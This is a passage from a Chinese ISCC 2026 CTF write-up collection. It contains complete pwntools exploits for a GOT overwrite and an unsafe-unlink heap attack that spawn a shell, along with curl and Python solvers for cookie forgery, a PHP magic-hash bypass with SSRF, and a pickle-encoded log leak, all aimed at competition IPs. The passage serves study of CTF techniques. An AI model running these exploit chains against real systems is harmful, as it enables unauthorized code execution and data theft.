^ ((v0 >> 5 ) + key[3 ]))) & MASK32 return v0, v1 def xtea_decrypt (v0: int , v1: int , key: list [int ] ) -> tuple [int , int ]: delta = 0x9E3779B9 s = (delta * 16 ) & MASK32 for _ in range (16 ): v1 = (v1 - ((((v0 << 4 ) & MASK32) + key[2 ]) ^ ((v0 + s) & MASK32) ^ ((v0 >> 5 ) + key[3 ]))) & MASK32 v0 = (v0 - ((((v1 << 4 ) & MASK32) + key[0 ]) ^ ((v1 + s) & MASK32) ^ ((v1 >> 5 ) + key[1 ]))) & MASK32 s = (s - delta) & MASK32 return v0, v1 def gf_inv (x: int ) -> int : if x == 0 : raise ValueError("zero has no inverse" ) for y in range (1 , 256 ): if gf_mul(x, y) == 1 : return y raise ValueError("unreachable" ) def solve_linear (matrix: list [list [int ]], vector: list [int ] ) -> list [int ]: a = [row[:] + [vector[i]] for i, row in enumerate (matrix)] n = len (vector) for col in range (n): pivot = next (r for r in range (col, n) if a[r][col]) a[col], a[pivot] = a[pivot], a[col] inv = gf_inv(a[col][col]) a[col] = [gf_mul(x, inv) for x in a[col]] for r in range (n): if r == col or not a[r][col]: continue factor = a[r][col] a[r] = [a[r][j] ^ gf_mul(factor, a[col][j]) for j in range (n + 1 )] return [a[i][n] for i in range (n)] def lcg (seed: int , n: int ) -> bytes : out = bytearray () for _ in range (n): seed = (0x5851F42D4C957F2D * seed + 0x14057B7EF767814F ) & MASK64 out.append((seed >> 24 ) & 0xFF ) return bytes (out) def checksum (data: bytes ) -> tuple [int , int ]: x = 0 s = 0 for b in data: x ^= b s = (s + b) & 0xFF return x, s def main () -> None : cipher1 = (ASSETS / "cipher1.bin" ).read_bytes() cipher2 = (ASSETS / "cipher2.bin" ).read_bytes() cipher3 = (ASSETS / "cipher3.bin" ).read_bytes() puzzle = (ASSETS / "puzzle.bin" ).read_bytes() k1 = bytes (tbyte(x) for x in RAW_K1) k2 = bytes (tbyte(x) for x in RAW_K2) k3 = bytes (tbyte(x) for x in RAW_K3) k13 = mix(k1, k3) k132 = permuted_matrix_mix(k13, k2) stream_key = layered(k13, k132, k3) xtea_key = [int .from_bytes(k13[i * 4 :(i + 1 ) * 4 ], "big" ) for i in range (4 )] c0 = int .from_bytes(cipher1[:4 ], "big" ) c1 = int .from_bytes(cipher1[4 :], "big" ) p0, p1 = xtea_decrypt(c0, c1, xtea_key) first_masked = p0.to_bytes(4 , "big" ) + p1.to_bytes(4 , "big" ) part1 = bytes (first_masked[i] ^ stream_key[(i + 1 ) % 16 ] for i in range (8 )) matrix = [[k132[row * 4 + col] for col in range (4 )] for row in range (4 )] part2 = bytearray () for row in range (3 ): part2.extend(solve_linear(matrix, list (cipher2[row * 4 :(row + 1 ) * 4 ]))) part2 = bytes (part2) seed = int .from_bytes(stream_key[:8 ], "big" ) part3 = bytes (c ^ s for c, s in zip (cipher3, lcg(seed, len (cipher3)))) flag = b"ISCC{" + part1 + part2 + part3 + b"}" assert xtea_encrypt( int .from_bytes(first_masked[:4 ], "big" ), int .from_bytes(first_masked[4 :], "big" ), xtea_key, ) == (c0, c1) assert part2_transform(part2, k132) == cipher2 assert bytes (x ^ s for x, s in zip (part3, lcg(seed, len (part3)))) == cipher3 for row in range (4 ): acc = 0 for col in range (4 ): acc ^= gf_mul(puzzle[row * 4 + col], part1[col]) assert acc == puzzle[16 + row] x, s = checksum(part1 + part2) xor1 = 0 for b in part1: xor1 ^= b xor1 = (((xor1 << 3 ) & 0xFF ) | (xor1 >> 5 )) & 0xFF assert part2[0 ] == CHARSET[xor1 % len (CHARSET)] assert part3[8 ] == CHARSET[x % len (CHARSET)] assert part3[9 ] == CHARSET[s % len (CHARSET)] print (flag.decode()) if __name__ == "__main__" : main()
验证输出 运行脚本输出:
1 ISCC{oW6BBCyyIn?Js-jyH_]FOYIm5txG6I}
脚本中同时包含 cipher1.bin、cipher2.bin、cipher3.bin 和 puzzle.bin 的一致性断言。只要 helper 语义、字节序或 seed 取值有一处不对,脚本会直接抛异常,因此这个输出本身也等价于一次完整复核。
问题与解决 这题前半段最大的误导,不在 Java 层,而在 helper 的细节还原。Java 层很快就能确认只是格式检查,但 native 中的 0x2a5f0 初看非常像普通矩阵乘法,如果把末尾那一步行重排记错,后面推出来的 part1 会和 puzzle.bin 解出的 oW6B 直接冲突。
另一个坑点在 part3 的 seed。最开始怀疑 seed 取自 stream_key[1:9],脚本也能跑出一串看似“有结果”的字节,但无法通过最终字符约束。继续对照汇编后确认 seed 实际取的是 stream_key[:8] 的大端 64 位值,修正后 part3 立刻回到可打印字符范围,整题闭环。
知识点总结 Android mobile 逆向里,如果 Java 层只是 JNI 壳,就不要在界面逻辑上耗太久。先用 Java 层确认输入格式和调用顺序,再把重心放回 native 的资源加载、常量变换和最终比较分支,效率会高很多。
像这道题这种多资源参与的校验,适合先找“最硬”的约束入口。本题里 puzzle.bin 提供了一个比直接爆破 cipher1.bin 更稳的切口,先钉死 part1 前四字节,再回头反推 helper 细节,能明显减少误判。
最终 flag 1 ISCC{oW6BBCyyIn?Js-jyH_]FOYIm5txG6I}
Pwn notepad 题目信息
项目
内容
比赛来源
2026ISCC
题目分类
Pwn
题目名称
notepad
靶机
39.96.193.120:10005
附件
attachment-30.zip
附件内容
notepad、libc.so.6
attachment-30.zip SHA256
3c715adf22d39c03454946357f7a71409b9a338c81f2c25f47d4f1d2cd2a32fe
notepad SHA256
d7fa3dc549e62fbdabc3822b80d67c6076bab7ca7195169140c51960ab01d8bc
libc SHA256
09d4dc50d7b31bca5fbbd60efebe4ce2ce698c46753a7f643337a303c58db541
解题思路 程序表面上只是一个可以创建和查看笔记的简易记事本,但 get_note() 的索引检查只判断了 idx <= 9,完全没有拦截负数。结合全局 notes 数组的布局,这意味着可以通过负索引把读写范围一路扩到 notes 之前的 GOT 和复制到 .bss 里的 stdin、stdout、stderr 指针上。
初步体检时,checksec 显示程序是 64 位 PIE,带 Canary 和 NX,但没有 RELRO。这一点很关键,因为只要能越界改到 GOT,后续就能直接做函数劫持,不需要再绕更长的 ROP 链。
题目的核心分成两步。第一步先通过 view(-1) 泄露 _IO_2_1_stdin_ 和 _IO_2_1_stderr_ 的真实地址来计算远端 libc 基址。第二步通过 create(-5) 把 puts@GOT 改写成 system,再触发 view(0),让原本的 puts(note_name) 变成 system(note_name)。
不过远端还有一个额外限制。真正跑通后,服务端会提示这里只允许 system("sh") 或 system("/bin/sh"),因此不能像本地那样直接把 cat /flag 放进笔记内容里让它执行,而是必须先借助 system("sh") 起一层 shell,再向这层 shell 发送 cat /flag 读取 flag。
技术实施 先看笔记结构。create_note() 会向笔记首地址读入 0x10 字节名称,再向 note + 0x10 读入 0x20 字节内容,所以每条笔记固定占用 0x30 字节。全局数组 notes 有 10 项,索引计算等价于:
1 note_ptr = notes + idx * 0x30
由于负索引没有被拦住,idx = -1 会落到 notes 前面的 stdin 和 stderr 复制指针位置,idx = -5 的内容区又刚好能覆盖到 puts@GOT。实际验证后可以稳定得到:
view(-1) 泄露 _IO_2_1_stdin_ 和 _IO_2_1_stderr_
create(-5) 的 content 字段覆盖 puts@GOT
本地附件自带的 libc.so.6 可以帮助理解布局,但远端真正加载的 libc 在代码段偏移上并不完全一致。继续利用 GOT 泄露做指纹匹配后,可以确定远端更接近 Ubuntu glibc 2.31 这一组偏移,其中:
1 2 3 _IO_2_1_stdin_ = 0x1ec980 _IO_2_1_stderr_ = 0x1ed5c0 system = 0x52290
于是最终利用链就很短了。
先创建 note 0,把 name 写成 sh,content 写成占位字符串。
然后通过 view(-1) 读取 _IO_2_1_stdin_ 地址,减去固定偏移算出远端 libc 基址。
接着使用 create(-5) 覆盖 puts@GOT = system。
最后触发 view(0)。此时打印名称的那次 puts() 已经变成 system("sh"),程序会起一层 shell。随后直接向连接发送 cat /flag,就能拿到 flag。
关键命令 1 python3 exploit.py REMOTE=1 CMD='cat /flag'
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 from pathlib import Pathfrom pwn import *HOST = "39.96.193.120" PORT = 10005 BASE_DIR = Path(__file__).resolve().parent.parent / "evidence" BIN_PATH = BASE_DIR / "notepad" REMOTE_STDIO_OFFSETS = { "_IO_2_1_stdin_" : 0x1EC980 , "_IO_2_1_stderr_" : 0x1ED5C0 , } REMOTE_SYSTEM_OFFSET = 0x52290 context.binary = ELF(str (BIN_PATH)) context.log_level = args.LOG_LEVEL or "info" def start (): if args.REMOTE: return remote(HOST, PORT) return process(str (BIN_PATH)) def load_libc (io ): libc_path = next (path for path in io.libs() if path.endswith("libc.so.6" )) return ELF(libc_path) def create (io, idx, name, content ): assert len (name) == 16 assert len (content) == 32 io.sendlineafter(b"> " , b"1" ) io.sendlineafter(b"Index: " , str (idx).encode()) io.sendafter(b"Name: " , name) io.sendafter(b"Content: " , content) def pad_field (data, size ): blob = data + b"\x00" if len (blob) > size: raise ValueError(f"field too long: {data!r} " ) return blob.ljust(size, b"A" ) def leak_stdio (io ): io.sendlineafter(b"> " , b"2" ) io.sendlineafter(b"Index: " , b"-1" ) block = io.recvuntil(b"\n> " , drop=True ) io.unrecv(b"> " ) name_part, content_part = block.split(b"\nContent: " , 1 ) stdin_addr = u64(name_part[len (b"Name: " ):].ljust(8 , b"\x00" )) stderr_addr = u64(content_part.ljust(8 , b"\x00" )) return stdin_addr, stderr_addr def overwrite_puts_with_system (io, system_addr ): payload = b"B" * 16 + p64(system_addr) + p64(0 ) create(io, -5 , b"A" * 16 , payload) def prepare_shell_note (io ): create(io, 0 , pad_field(b"sh" , 16 ), pad_field(b"noop" , 32 )) def prepare_local_command_note (io, cmd ): create(io, 0 , pad_field(b":" , 16 ), pad_field(cmd, 32 )) def run_shell_command (io, cmd ): io.sendlineafter(b"> " , b"2" ) io.sendlineafter(b"Index: " , b"0" ) io.sendline(cmd) io.sendline(b"exit" ) return io.recvuntil(b"Content: " , timeout=3 ) def run_local_command (io ): io.sendlineafter(b"> " , b"2" ) io.sendlineafter(b"Index: " , b"0" ) return io.recvrepeat(1.5 ) def main (): io = start() cmd = (args.CMD or "cat /flag" ).encode() if args.REMOTE: prepare_shell_note(io) stdin_addr, stderr_addr = leak_stdio(io) libc_base = stdin_addr - REMOTE_STDIO_OFFSETS["_IO_2_1_stdin_" ] stderr_base = stderr_addr - REMOTE_STDIO_OFFSETS["_IO_2_1_stderr_" ] system_addr = libc_base + REMOTE_SYSTEM_OFFSET log.info("_IO_2_1_stdin_ = %#x" , stdin_addr) log.info("_IO_2_1_stderr_ = %#x" , stderr_addr) log.info("stdin-based libc base = %#x" , libc_base) log.info("stderr-based libc base = %#x" , stderr_base) log.info("system = %#x" , system_addr) overwrite_puts_with_system(io, system_addr) output = run_shell_command(io, cmd) else : libc = load_libc(io) prepare_local_command_note(io, cmd) stdin_addr, stderr_addr = leak_stdio(io) libc.address = stdin_addr - libc.sym["_IO_2_1_stdin_" ] log.info("_IO_2_1_stdin_ = %#x" , stdin_addr) log.info("_IO_2_1_stderr_ = %#x" , stderr_addr) log.info("libc base = %#x" , libc.address) log.info("system = %#x" , libc.sym["system" ]) overwrite_puts_with_system(io, libc.sym["system" ]) output = run_local_command(io) print (output.decode("latin-1" , errors="ignore" )) io.close() if __name__ == "__main__" : main()
验证输出 1 2 3 4 5 6 7 8 [*] _IO_2_1_stdin_ = 0x7fa889bbe980 [*] _IO_2_1_stderr_ = 0x7fa889bbf5c0 [*] stdin-based libc base = 0x7fa8899d2000 [*] stderr-based libc base = 0x7fa8899d2000 [*] system = 0x7fa889a24290 Name: ISCC{87c822a8-9675-46e1-aa71-648bdbca1480} Content:
问题与解决 一开始最容易让人误判的是附件里的 libc.so.6。它对理解数据段布局很有帮助,但远端真正加载的 libc 在代码段偏移上并不完全一致,直接用附件里的 read、system 偏移去算远端地址会出现基址不按页对齐的异常现象。
解决方法是先把 _IO_2_1_stdin_ 和 _IO_2_1_stderr_ 这类数据符号泄露出来,用它们稳定反推出远端 libc 基址,再结合 GOT 泄露的代码地址做版本指纹匹配,最终确认远端 system 偏移。
另一个小坑是远端对 system 的参数做了白名单限制,只允许 sh 和 /bin/sh。因此最后一步不能直接劫持成 system("cat /flag"),而是要先起 shell,再把读取 flag 的命令发给 shell 执行。
知识点总结 这题的关键不是复杂堆风水,而是非常朴素的一类数组越界。只要注意到索引上界检查漏掉了负数,整个全局区都会暴露出来:既能从复制的 stdio 指针拿基址,又能借着 No RELRO 直接覆写 GOT。
做这类小菜单题时,先把“对象大小”和“全局数组布局”算清楚通常比急着下断点更高效。这里每条笔记固定 0x30 字节,负索引一步就能把 -1、-5 这两个利用点精确落到想要的位置,整条利用链就变得又短又稳。
最终 Flag 1 ISCC{87c822a8-9675-46e1-aa71-648bdbca1480}
deepvoid 题目信息
项目
内容
比赛来源
2026ISCC
题目分类
Pwn
题目名称
deepvoid
靶机
39.96.193.120:55555
附件
attachment-15.zip
附件内容
deepvoid、libc.so.6
deepvoid SHA256
a01da9f33682751405c6bcac7b0f785159ca5c23faad9ea300199d6e279267fa
libc SHA256
926ee3653de7b71c8567061f3a4dfbc2ea91b6df2b49a05f11351fe1addf20cf
解题思路 这道题是一个典型的菜单堆题。程序提供 Create、Modify、Remove 三个功能,表面上每个槽位都分配了独立空间,但 Modify 直接对选中指针执行 read(0, ptr, 0x200),写入长度被固定成 0x200,而 Create 又允许申请任意大小。
这意味着只要先申请一个较小的 chunk,再对它执行 Modify,就可以稳定越界覆盖后一个 chunk 的堆元数据。附件给了 glibc 2.23,因此没有 tcache,顺着这个方向最自然的利用路线就是伪造前块并触发 unsafe unlink。
利用目标可以拆成三步。第一步通过 unsafe unlink 把全局 chunks 指针表改写成可控。第二步把 free@got 改成 puts@plt,借助 remove 泄漏 puts 的真实地址,进而计算 libc 基址。第三步再把 free@got 改成 system,最后释放一块内容为 /bin/sh 的 chunk,完成 system("/bin/sh")。
远端环境还有一个小限制: 服务端明确提示只支持 system("sh") 或 system("/bin/sh")。因此最后不能直接把 cat /flag 写进 chunk 里,而是先拿到 shell,再通过 socket 给这层 shell 发送 cat /flag 命令取回 flag。
技术实施 先申请四块内存:
chunk0 = 0x80,用来伪造 fake chunk
chunk1 = 0x500,作为被 unlink 的目标块
chunk2 = 0x80,作为泄漏阶段的占位块
chunk3 = 0x50,保存最终命令字符串 /bin/sh
接着在 chunk0 内伪造一个 fake chunk,并越界覆盖 chunk1 的头部,把它的 prev_size 改成 0x80,把 size 改成 0x510,同时清掉 prev_inuse 位。这样 free(chunk1) 时,glibc 会以为前一个 chunk 是空闲块,从而对我们在 chunk0 中伪造的链表指针执行 unlink。
fake chunk 的 fd 和 bk 分别布置为 chunks - 0x18 与 chunks - 0x10,满足 unlink 写回条件后,就能把 chunks[0] 枢到全局指针表附近。随后再对 chunk0 写入数据,相当于在改写 chunks 数组本身。这里把:
chunks[1] 改成 free@got
chunks[2] 改成 puts@got
之后通过 modify(1, p64(puts@plt)) 把 free@got 覆盖为 puts@plt,再调用 remove(2),程序原本执行的是 free(chunks[2]),现在会变成 puts(puts@got),从而直接泄漏 puts 的实际地址。用附件里的 libc.so.6 计算出 libc 基址后,再把 free@got 重写为 system。
最后,chunk3 中已经放好了 /bin/sh。调用 remove(3) 后,逻辑从 free(chunk3) 变成 system("/bin/sh")。等 shell 建立起来,再发送 cat /flag 2>/dev/null; cat ./flag 2>/dev/null; id; exit,即可拿到远端 flag。
关键命令
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import reimport socketfrom pwn import *context.binary = elf = ELF("../evidence/deepvoid" , checksec=False ) remote_libc = ELF("../evidence/libc.so.6" , checksec=False ) HOST = args.HOST or "39.96.193.120" PORT = int (args.PORT or 55555 ) CHUNKS = elf.sym["chunks" ] FREE_GOT = elf.got["free" ] PUTS_GOT = elf.got["puts" ] PUTS_PLT = elf.plt["puts" ] def start (): sock = socket.create_connection((HOST, PORT), timeout=5 ) return remote.fromsocket(sock), remote_libc def menu (io, choice ): io.sendlineafter(b"CMD >> " , str (choice).encode()) def create (io, idx, size ): menu(io, 1 ) io.sendlineafter(b"Serial: " , str (idx).encode()) io.sendlineafter(b"Size: " , str (size).encode()) def modify (io, idx, data ): menu(io, 2 ) io.sendlineafter(b"Serial: " , str (idx).encode()) io.sendafter(b"Update Data: " , data) def remove (io, idx ): menu(io, 3 ) io.sendlineafter(b"Serial: " , str (idx).encode()) io, libc = start() create(io, 0 , 0x80 ) create(io, 1 , 0x500 ) create(io, 2 , 0x80 ) create(io, 3 , 0x50 ) modify(io, 3 , b"/bin/sh\x00" ) payload = flat( 0 , 0x80 , CHUNKS - 0x18 , CHUNKS - 0x10 , ).ljust(0x80 , b"A" ) + flat(0x80 , 0x510 ) modify(io, 0 , payload) remove(io, 1 ) modify(io, 0 , b"A" * 0x18 + flat(CHUNKS - 0x18 , FREE_GOT, PUTS_GOT)) modify(io, 1 , p64(PUTS_PLT)) remove(io, 2 ) leak = io.recvuntil(b"\n[+] Removed." , drop=True ) puts_addr = u64(leak[:6 ].ljust(8 , b"\x00" )) libc.address = puts_addr - libc.sym["puts" ] modify(io, 1 , p64(libc.sym["system" ])) remove(io, 3 ) io.sendline(b"cat /flag 2>/dev/null; cat ./flag 2>/dev/null; id; exit" ) text = io.recvrepeat(1.5 ).decode(errors="ignore" ) print (text)match = re.search(r"[A-Za-z0-9_]+\{[^{}\n]+\}" , text)if match : print (match .group(0 ))
验证输出 1 2 3 [+] puts = 0x7effbda2b6a0 [+] libc = 0x7effbd9bc000 ISCC{a521640c-48f4-4061-8e19-6180c3362960}
问题与解决 一开始题面给出的旧端口无法连通,更新到 39.96.193.120:55555 后服务才恢复正常。另一个容易踩坑的点是远端对 system 的参数做了限制,直接把 cat /flag 作为 chunk 内容会失败,必须先释放 /bin/sh 拿到 shell,再把读取 flag 的命令发给 shell 执行。
知识点总结 这题的关键是把“固定大写入长度”和“可变申请大小”联系起来,迅速判断出这里不是普通的 UAF,而是稳定的堆溢出。对于 glibc 2.23 这类没有 tcache 的题,unsafe unlink 仍然是非常高效的切入点。拿到任意指针写后,再用 GOT 劫持把 free 先改成 puts 做泄漏,再改成 system 做执行,整条链路短而且足够稳。
最终 Flag 1 ISCC{a521640c-48f4-4061-8e19-6180c3362960}
Web 值班邮件台 题目信息
项目
内容
靶机
http://39.105.213.28:49103
题目
夜班值守,手别太快。别人的邮件别乱翻,自己的联调痕迹也别乱留。台子搭得仓促,收尾却没收干净,安静的界面下面,总还有点不该留下的东西。
关键点
Cookie 身份伪造、PHP magic hash、SSRF 访问本机接口
分值
100
解题思路 首页直接下发了 mail_user=guest 和 mail_role=user 两个 Cookie,页面文案还特意提到“前端页面会继续沿用浏览器侧那套旧标记,方便大家切身份联调”,这已经把突破口摆得很明白了。先从身份来源入手,再沿着后台联调残留往下挖。
进入 /admin.php 时,普通访客会收到 Only admin can access this page.。把 Cookie 改成 mail_user=admin; mail_role=admin 后,后台预览面板立刻可以打开,说明后台直接信任客户端传来的身份标记。
后台页面提供了一个联调说明下载链接:
1 /download.php?file=files/notes/preview-readme.txt
读完说明能拿到两条关键线索。第一条是双人复核逻辑被单独摘录出来,调试时可直接查看 admin.php;第二条是诊断地址命名规则被迁出,以 route-index.txt 为准。
继续读取:
1 /download.php?file=admin.php
得到后台原型代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php $tokenA = (string )($_POST ['token_a' ] ?? '' );$tokenB = (string )($_POST ['token_b' ] ?? '' );if ($tokenA === '' || $tokenB === '' ) { exit ('两份预览凭据都需要填写' ); } if ($tokenA === $tokenB ) { exit ('两份输入不能完全相同' ); } $h1 = md5 ($tokenA );$h2 = md5 ($tokenB );if ($h1 == $h2 && $h1 !== $h2 ) { echo "校验通过,允许继续请求诊断地址" ; } else { echo "双人复核失败" ; } ?>
这里的问题非常典型:md5() 的结果用了弱比较 ==,同时又要求两者严格不等 !==。这正适合用 PHP magic hash 绕过。选用 QNKCDZO 和 240610708 这组经典输入时,它们的 MD5 都会表现成 0e... 这种科学计数法形态,在 PHP 弱比较里会被当作数字 0,于是复核检查通过。
再读取:
1 /download.php?file=files/notes/route-index.txt
得到内部诊断路由:
1 2 3 4 5 6 [内部诊断路由索引] 当前仍保留的诊断别名如下: - health -> /internal/health - mailq -> /internal/queue - final -> /internal/report?view=flag&slot=last
直接从外部访问 /internal/health 或 /internal/report?... 都只会返回 internal only,说明这些接口只允许本机访问。后台预览器本身则会在双人复核通过后请求 target_url。进一步测试发现,target_url=/internal/health 会失败,但 target_url=http://127.0.0.1/internal/health 可以成功返回 ok。说明预览器接受完整 URL,而且请求是从服务器本机发起的,于是这里自然落到了 SSRF。
最后把 target_url 指向 http://127.0.0.1/internal/report?view=flag&slot=last,就能借助后台预览器读取只对本机开放的 flag 接口。
关键命令 先验证 Cookie 伪造可以进入后台:
1 2 curl.exe -i -b "mail_user=admin; mail_role=admin" ^ "http://39.105.213.28:49103/admin.php"
再利用 magic hash 和本机 SSRF 读取 flag:
1 2 3 4 5 6 curl.exe -sS -b "mail_user=admin; mail_role=admin" ^ -X POST ^ -d "token_a=QNKCDZO" ^ -d "token_b=240610708" ^ --data-urlencode "target_url=http://127.0.0.1/internal/report?view=flag&slot=last" ^ "http://39.105.213.28:49103/admin.php"
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import reimport urllib.parseimport urllib.requestTARGET = "http://39.105.213.28:49103/admin.php" COOKIES = "mail_user=admin; mail_role=admin" POST_DATA = { "token_a" : "QNKCDZO" , "token_b" : "240610708" , "target_url" : "http://127.0.0.1/internal/report?view=flag&slot=last" , } def main () -> None : data = urllib.parse.urlencode(POST_DATA).encode() request = urllib.request.Request(TARGET, data=data, method="POST" ) request.add_header("Cookie" , COOKIES) request.add_header("Content-Type" , "application/x-www-form-urlencoded" ) with urllib.request.urlopen(request, timeout=10 ) as response: body = response.read().decode("utf-8" , errors="replace" ) match = re.search(r"<textarea readonly>(.*?)</textarea>" , body, re.S) if not match : raise SystemExit("flag not found in response" ) print (match .group(1 ).strip()) if __name__ == "__main__" : main()
验证输出 1 ISCC{ACxmCnWgL3C7LqWImKfgtK6h}
最终 Flag 1 ISCC{ACxmCnWgL3C7LqWImKfgtK6h}
灵感笔记 题目信息
项目
内容
靶机
http://39.105.213.28:5000
题目
你是一个自由撰稿人,使用”灵感笔记”云笔记工具。今天登录后,偶然发现这个笔记系统似乎有点问题…找到隐藏的Flag!
关键点
调试日志泄露、trace_id 回显、隐藏接口访问控制失误、Pickle 对象十六进制外带
分值
未知
解题思路 这题表面上是个普通的在线笔记系统,首页有注册、登录、笔记列表和详情页,看起来很像一道常规的鉴权或 CRUD 漏洞题。但真正的突破口不在普通笔记功能,而在一条只给管理员看的调试链。
最开始直接注册 admin 虽然可以成功,却只能拿到一组伪造的样例笔记,说明题目专门做了一层“假管理员”误导。换成全新会话后,直接登录 admin/admin,这次拿到的才是真正的管理员笔记列表,其中最可疑的是 flag-project-001 这篇置顶笔记。
直接访问 /project/flag-project-001、/note/flag-project-001 和 /api/note/flag-project-001,都只能看到提示性正文:
1 2 3 4 5 这是一篇非常重要的笔记: 不要问为什么,这是 secret。 —— 笔记作者留
继续查看管理员专属提示接口 /api/admin/hint,能拿到一条隐藏接口线索:
1 2 3 4 5 POST /api/v1/project/detail HTTP/1.1 Host : localhost:5000Content-Type : application/json{ "project_id" : "<project-id>" }
进一步对比测试发现,这个接口对普通管理员草稿 admin-notes-002 会正常返回详情,但对 flag-project-001 会稳定报 403,同时返回一个 trace_id。前端脚本 main.js 还特意提示可以拿这个 trace_id 去 /feedback 联系作者,这一步基本已经把真正漏洞指向了“调试日志回显”。
技术实施 先用真实管理员会话请求隐藏接口:
1 2 3 4 POST /api/v1/project/detail Content-Type : application/json{"project_id":"flag-project-001"}
服务端返回:
1 { "error" : "访问被拒绝" , "message" : "您无权查看此笔记" , "trace_id" : "32ee234d-b437-442c-ab71-f1319fe163e1" }
关键细节在于,这个 403 响应不仅给了 trace_id,还会顺手更新当前 session。必须带着这次失败请求后的同一份会话,再把 trace_id 提交到 /feedback,才能读到对应日志;如果还拿旧 Cookie 去查,只会看到“日志不存在”。
提交成功后,/feedback 页面会回显作者回复,其中包含完整调试日志:
1 2 3 4 5 6 7 8 9 10 11 12 13 { "level" : "错误" , "message" : "尝试非法访问重要笔记" , "metadata" : { "action" : "access_denied" , "source" : "notes_module" } , "project_id" : "flag-project-001" , "request_data" : "POST /api/v1/project/detail | project_id=flag-project-001" , "stack_trace" : "Object: 80049591000000000000007d94288c0474797065948c0b464c41475f4f424a454354948c04666c6167948c24495343437b63347265667531315f64656275675f74723463655f6c33346b5f316430727d948c0a70726f6a6563745f6964948c10666c61672d70726f6a6563742d303031948c0974696d657374616d70948c1a323032362d30352d30395431323a30363a34302e35343636313994752e" , "timestamp" : "2026-05-09T12:06:40.546632" , "trace_id" : "32ee234d-b437-442c-ab71-f1319fe163e1" }
这里真正有价值的是 stack_trace。它看起来像一段普通十六进制字符串,前缀还是 Object:,实际上内容是 Pickle 序列化对象。去掉 Object: 前缀后执行:
1 pickle.loads(bytes .fromhex(hex_blob))
就会得到一个 Python 字典对象,其中直接包含 flag 字段。
关键命令 最简复现方式是直接运行解题脚本:
1 python .\scripts\solve.py
如果只看核心利用链,也可以概括成下面两步:
1 2 1. POST /api/v1/project/detail 访问 project_id=flag-project-001,拿到 trace_id 2. POST /feedback 提交 trace_id,解析日志中的 stack_trace
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import jsonimport pickleimport reimport warningsfrom html import unescapewarnings.filterwarnings( "ignore" , message=r"urllib3 .* doesn't match a supported version!" , ) import requestsBASE_URL = "http://39.105.213.28:5000" def main (): session = requests.Session() session.get(f"{BASE_URL} /login" , timeout=10 ) login_resp = session.post( f"{BASE_URL} /login" , data={"username" : "admin" , "password" : "admin" }, timeout=10 , ) if "/dashboard" not in login_resp.url: raise RuntimeError(f"login failed: {login_resp.status_code} {login_resp.url} " ) detail_resp = session.post( f"{BASE_URL} /api/v1/project/detail" , json={"project_id" : "flag-project-001" }, timeout=10 , ) detail_data = detail_resp.json() trace_id = detail_data.get("trace_id" ) if detail_resp.status_code != 403 or not trace_id: raise RuntimeError(f"unexpected detail response: {detail_resp.status_code} {detail_resp.text} " ) feedback_resp = session.post( f"{BASE_URL} /feedback" , data={"trace_id" : trace_id}, timeout=10 , ) match = re.search(r"<pre>(.*?)</pre>" , feedback_resp.text, re.S) if not match : raise RuntimeError("feedback page did not contain a log block" ) log_text = unescape(match .group(1 )) log_data = json.loads(log_text) hex_blob = log_data["stack_trace" ].split("Object: " , 1 )[1 ] flag_object = pickle.loads(bytes .fromhex(hex_blob)) print (flag_object["flag" ]) if __name__ == "__main__" : main()
验证输出 1 ISCC{c4refu11_debug_tr4ce_l34k_1d0r}
问题与解决 这题最容易卡住的地方有两个。一个是误把“可注册的 admin”当成真管理员,结果后续所有接口都只能落在假数据上;另一个是拿到 trace_id 以后直接用旧 session 去 /feedback 查日志,会被页面误导成“日志不存在”。
确认这两个点后,整条利用链就很顺了:先登录真实管理员,再触发一次针对重要笔记的拒绝日志,最后从调试日志里把 Pickle 对象完整抠出来。
知识点总结 这题把几种看似零散的问题串得很漂亮。前台有真假管理员会话差异,后台有隐藏接口访问控制,调试系统又把内部对象直接序列化进日志,最后还提供了一个可公开读取的日志查询入口。单看其中任何一步都像“只差一点”,连起来就是一条完整的敏感数据泄露链。
对于这类题,除了常规的 CRUD 和权限边界外,还值得特别关注“报错之后发生了什么”。很多时候真正的入口不在成功响应里,而在开发者以为没人会认真看的调试信息里。
最终 Flag 1 ISCC{c4refu11_debug_tr4ce_l34k_1d0r}
逆向穿越 题目信息
项目
内容
靶机
http://39.105.213.28:12602
题目
这是一个被重重防护包裹的配置节点。这里的防火墙非常敏感,任何试图跨越边界的行为都会被瞬间捕获。除非……你学会了如何倒着走路。
关键点
绝对路径绕过、Spring Boot Actuator 信息泄露、Java HPROF 堆转储取证
分值
未知
解题思路 题面里同时出现了“配置节点”“跨越边界”“倒着走路”这几个提示,第一反应就是围绕路径穿越和路径规范化差异展开。首页果然不是普通业务页,而是一个伪装成配置中心的静态页面,明确给出了访问格式:
1 /config/{app}/{profile}/{filename}
继续访问公开示例配置:
1 /config/app/dev/application.yml
返回了一段非常关键的提示:
1 2 3 server: port: 8080 hint: 'This is just a mock repository config. The real secrets are in the main application.yml at the system root (/app/application.yml).'
这一步其实已经把目标文件直接送出来了。后面的难点不再是“读哪一个文件”,而是“如何在过滤器存在的前提下把 /app/application.yml 读出来”。
技术实施 最开始尝试传统的 ../、..%2f、双重编码斜杠等写法,都会被防火墙拦截,返回 403 Blocked: Security Policy Violation.。进一步测试可以发现,只有 /config/ 后面刚好三个路径段时,请求才会进入文件读取控制器,这意味着经典相对路径穿越很难直接奏效。
